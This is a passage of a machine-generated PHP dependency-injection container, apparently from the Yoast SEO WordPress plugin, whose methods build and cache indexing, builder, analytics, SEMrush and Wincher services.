     * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action
     */
    protected function getIndexablePostTypeArchiveIndexationActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'];
        }

        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action($a, $b, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action
     */
    protected function getIndexableTermIndexationActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'];
        }

        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, $a, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action
     */
    protected function getIndexingCompleteActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action
     */
    protected function getIndexingPrepareActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action
     */
    protected function getPostLinkIndexingActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] : $this->getIndexableLinkBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'];
        }
        $c = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'];
        }

        $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action($a, $b, $c, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'});

        $instance->set_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action
     */
    protected function getTermLinkIndexingActionService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] : $this->getIndexableLinkBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'];
        }
        $c = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) {
            return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'];
        }

        $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action($a, $b, $c, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'});

        $instance->set_helper(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Integrations_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Integrations_Action
     */
    protected function getIntegrationsActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Integrations_Action'] = new \Yoast\WP\SEO\Actions\Integrations_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action
     */
    protected function getSEMrushLoginActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] : $this->getSEMrushClientService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action
     */
    protected function getSEMrushOptionsActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action
     */
    protected function getSEMrushPhrasesActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] : $this->getSEMrushClientService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action
     */
    protected function getWincherAccountActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] : $this->getWincherClientService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action
     */
    protected function getWincherKeyphrasesActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] : $this->getWincherClientService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action
     */
    protected function getWincherLoginActionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] : $this->getWincherClientService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector
     */
    protected function getMissingIndexablesCollectorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector'] = new \Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] : $this->getIndexableGeneralIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] : $this->getIndexablePostIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] : $this->getIndexablePostTypeArchiveIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] : $this->getIndexableTermIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] : $this->getTermLinkIndexingActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector
     */
    protected function getToBeCleanedIndexablesCollectorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector'] = new \Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] : $this->getIndexableCleanupRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration
     */
    protected function getLastCompletedIndexationIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration'] = new \Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Author_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Author_Builder
     */
    protected function getIndexableAuthorBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Author_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] : $this->getAuthorArchiveHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, $a);

        $instance->set_social_image_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Builder
     */
    protected function getIndexableBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'] : $this->getIndexableAuthorBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'] : $this->getIndexablePostBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $c = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'] : $this->getIndexableTermBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $d = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'] : $this->getIndexableHomePageBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $e = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'] : $this->getIndexablePostTypeArchiveBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $f = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] : $this->getIndexableHierarchyBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $g = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] : $this->getPrimaryTermBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $h = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }
        $i = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] : $this->getIndexableLinkBuilderService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Builder($a, $b, $c, $d, $e, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder'] : $this->getIndexableDateArchiveBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder'] : $this->getIndexableSystemPageBuilderService()) && false ?: '_'}, $f, $g, $h, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager']) ? $this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] : $this->getIndexableVersionManagerService()) && false ?: '_'}, $i);

        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder
     */
    protected function getIndexableDateArchiveBuilderService()
    {
        return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder
     */
    protected function getIndexableHierarchyBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] : $this->getIndexableHierarchyRepositoryService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'];
        }
        $b = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'];
        }
        $c = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) {
            return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'];
        }

        $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder($a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, $b, $c);

        $instance->set_indexable_repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder
     */
    protected function getIndexableHomePageBuilderService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'};

        if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'])) {
